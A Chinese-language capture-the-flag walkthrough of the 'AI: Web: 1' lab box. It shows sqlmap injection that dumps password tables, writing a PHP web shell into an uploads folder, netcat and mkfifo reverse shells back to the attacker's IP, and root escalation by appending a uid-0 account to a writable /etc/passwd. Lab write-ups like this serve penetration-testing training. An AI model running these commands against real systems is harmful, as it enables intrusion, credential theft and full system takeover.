靶机下载地址:AI:Web:1
Description:
Difficulty: Intermediate
Network: DHCP (Automatically assign)
Network Mode: NAT
This box is designed to test skills of penetration tester. The goal is simple. Get flag from /root/flag.txt. Enumerate the box, get low privileged shell and then escalate privilege to root. For any hint please tweet on @arif_xpress
目标是从 /root/flag.txt 获取flag,获得低权限的 shell,然后将权限提升到 root。
实验环境:
攻击机:kali2021(192.168.0.13/24,vmnet0)
靶机:(MAC地址为00:0C:29:93:FE:B3,vmnet0)
信息收集阶段:
靶机IP地址:
nmap -sP 192.168.0.1/24 -oN nmap.sP(得到靶机IP地址为192.168.0.17)
靶机开放端口:
nmap -A 192.168.0.17 -p- -oN nmap.A
发现靶机开放了80端口
接下来访问其网页,查看有没有可用信息,截图如下:
发现Not even Google search my contents!(谷歌浏览器不能查询内容,其实我用的是火狐也不能访问其网站内容)
接下来用御剑扫描此网站目录
网站目录扫描:
这里我使用kali自带网站扫描工具dirb,命令如下:
dirb http://192.168.0.17
看到其他人的渗透过程发现,nikto也可以对网站进行扫描
nikto -h http://10.10.10.34
由上面的扫描结果可知,存在目录index.html,robots.txt,server-status
访问/robots.txt得知:
访问:/m3diNf0/ 和 /se3reTdir777/uploads/都是forbidden,尝试访问 /se3reTdir777/,界面如下:
在框中输1和2,分别得到:
怀疑存在SQL注入
敏感目录扫描
m3diNf0 目录
发现http://192.168.0.17/m3diNf0/info.php
访问得知:
我们找到了站点在服务器的绝对路径
DOCUMENT_ROOT | /home/www/html/web1x443290o2sdf92213 |
漏洞映射
SQL注入:
这里采用sqlmap工具注入方法:
sqlmap注入:
首先对此网页抓包,看有没有可用参数(发现uid和Operation)
① sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit",发现存在SQL注入,且可用以下方法注入
②爆数据库名: sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" --current-db
得知当前数据库为aiweb1
③爆表名: sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" -D "aiweb1" --tables
发现存在user和systemUser表
④爆user表字段(sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" -D "aiweb1" -T "user" --dump)
⑤爆systemUser表字段(sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" -D "aiweb1" -T "systemUser" --dump)
弹出来的两个提示都填N
Database: aiweb1
Table: systemUser
[3 entries]
+----+----------------------------------------------+-----------+
| id | password | userName |
+----+----------------------------------------------+-----------+
| 1 | RmFrZVVzZXJQYXNzdzByZA== | t00r |
| 2 | TXlFdmlsUGFzc19mOTA4c2RhZjlfc2FkZmFzZjBzYQ== | aiweb1pwn |
| 3 | TjB0VGhpczBuZUFsczA= | u3er |
+----+----------------------------------------------+-----------+
可以看出password字段被base64加密过了,解码后得到原密码,但是服务器的3306端口没有对外开放,也不清楚这用户名和密码意味着什么。暂时还没有利用的点。
之前robots文件还有两个目录,对那两个目录dirb一下,发现m3diNf0目录下有一个info.php,打开一看原来是PHP的配置文件。
现在我们找到了站点在服务器的绝对路径!
/home/www/html/web1x443290o2sdf92213
既然知道了绝对路径当然要试一下sqlmap拿Shell啦,但是网站的绝对路径拿shell失败,终于将绝对路径改为uploads后拿到了shell
注:
sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell(可以利用--os-shell执行系统命令),弹出来的提示分别选4(php),回车,2,/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/(写路径)现在通过sqlmap就获取到了一个shell(得益于这个目录具有可写权限)
sqlmap写入一句话木马
1、写一句话木马(参考:sqlmap写入一句话木马)
2、写入文件
sqlmap -u "http://192.168.0.17/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./yjh.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php
--file-write:去读取文件(当前目录下的yjh.php)
--file-dest:后面加我们向目标写的文件,目标在/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/,我们把这个文件上传到shell.php这个地址
现在我们就在uploads这个命令下写好了shell.php文件
访问192.168.0.17/se3reTdir777/uploads/shell.php发现是一片空白,就说明写成功了!
蚁剑直接连接即可
反弹shell
①kali本地监听:nc -lvvp 6666(或者nc -lnvp)
②蚁剑终端上nc反弹:nc -e /bin/bash 192.168.0.13 6666(发现-e参数不可用)
③rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.13 6666 >/tmp/f
提权
反弹shell成功后whoami查看是www-data权限,echo $0发现是/bin/sh
进入交互式shell:python -c 'import pty;pty.spawn("/bin/bash")'
思路1、sudo -l(查看有没有一些命令在执行期间有root权限标签没有密码保护——Not found)
发现需要密码
思路2、查看有没有一些具有suid权限的命令
find / -perm -4000 2>/dev/null
发现很多命令在执行期间都有suid权限
查看开放端口:
发现开放了3306端口,但是只有本地能登录
思路3:在交互式shell下输入命令uname -a查看内核版本,当前版本号是4.15.0-58-generic,我们就可以去看一下有没有内核漏洞
searchsploit linux kernel 4.15.0-58-generic,发现没有结果
searchsploit linux kernel 4.15.0,可以看到好几个做本地提权的
我们看看目标环境有没有gcc环境,没有,我们就尽量不要上传.c文件提取
下面的提权过程我不会,参考:AJEST(我的启蒙老师,哈哈哈哈膜拜!)
查看当前用户读写权限
查看当前系统里面具有可写权限的目录有哪些:find / -writable -type d 2>/dev/null
查看哪些文件具有读写权限:find / -writable -type f 2>/dev/null
www-data@aiweb1:/etc$ find / -writable -type d 2>/dev/null
find / -writable -type d 2>/dev/null
/tmp
/run/screen
/run/lock
/run/lock/apache2
/dev/mqueue
/dev/shm
/var/tmp
/var/crash
/var/lib/php/sessions
/var/lib/lxcfs/proc
/var/lib/lxcfs/cgroup
/var/cache/apache2/mod_cache_disk
/proc/1998/task/1998/fd
/proc/1998/fd
/proc/1998/map_files
/home/www/html/web1x443290o2sdf92213
/home/www/html/web1x443290o2sdf92213/se3reTdir777
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads
/home/www/html/web1x443290o2sdf92213/m3diNf0
www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ find / -writable -type f 2>/dev/null
将find查询结果保存: find / -writable -type f 2>/dev/null > /tmp/writableFiles
我们在蚁剑的/tmp目录就可以看到writableFiles文件,download下来
wc -l writableFiles 可以看到这个文件有5932行
过滤有用文件(下面我看不太懂)
cat writableFiles | grep '^/[^p]' | grep '^/[^s],过滤掉以p和s开头的文件
www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ grep "^/[^proc]" writableFiles | grep '^/[^s]'
<ads$ grep "^/[^proc]" writableFiles | grep '^/[^s]'
/tmp
/dev/mqueue
/dev/shm
/var/tmp
/var/crash
/var/lib/php/sessions
/var/lib/lxcfs/proc
/var/lib/lxcfs/cgroup
/var/cache/apache2/mod_cache_disk
/home/www/html/web1x443290o2sdf92213
/home/www/html/web1x443290o2sdf92213/se3reTdir777
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads
/home/www/html/web1x443290o2sdf92213/m3diNf0
/var/backups/passwd.bak
/home/www/html/web1x443290o2sdf92213/robots.txt
/home/www/html/web1x443290o2sdf92213/se3reTdir777/index.php
/home/www/html/web1x443290o2sdf92213/se3reTdir777/c0nFil3bd.php
/home/www/html/web1x443290o2sdf92213/se3reTdir777/jquery-1.7.2.js
/home/www/html/web1x443290o2sdf92213/se3reTdir777/style-main.css
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/writableFiles
/home/www/html/web1x443290o2sdf92213/m3diNf0/info.php
/home/www/html/web1x443290o2sdf92213/index.html
/etc/passwd-
/etc/passwd
觉得c0nFil3bd.php这个文件可疑,看看是什么
我们还发现/etc/passwd文件,具有写权限
可以添加waffle::0:0:root:/root:/bin/bash,这个账号是没有密码的,但是sudo发现密码验证失败,我们就去生成一个密码:
生成Linux 系统用户密钥
┌──(root💀mi)-[~]
└─# python
Python 2.7.18 (default, Apr 20 2020, 20:30:41)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import crypt
>>> crypt.crypt("123456","waffle")
'waiAeFsWwdWZw'
>>>
读写/etc/passwd
文件。
root:x:0:0:root:/root:/bin/bash
...
waffle:waiAeFsWwdWZw:0:0:root:/root:/bin/bash
查看flag
root@aiweb1:/# cat /root/flag.txt
cat /root/flag.txt
####################################################
# #
# AI: WEB 1.0 #
# #
# Congratulation!!! #
# #
# Thank you for penetrate my system. #
# #
# Hope you enjoyed this. #
# #
# #
# flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71} #
# #
####################################################
root@aiweb1:/#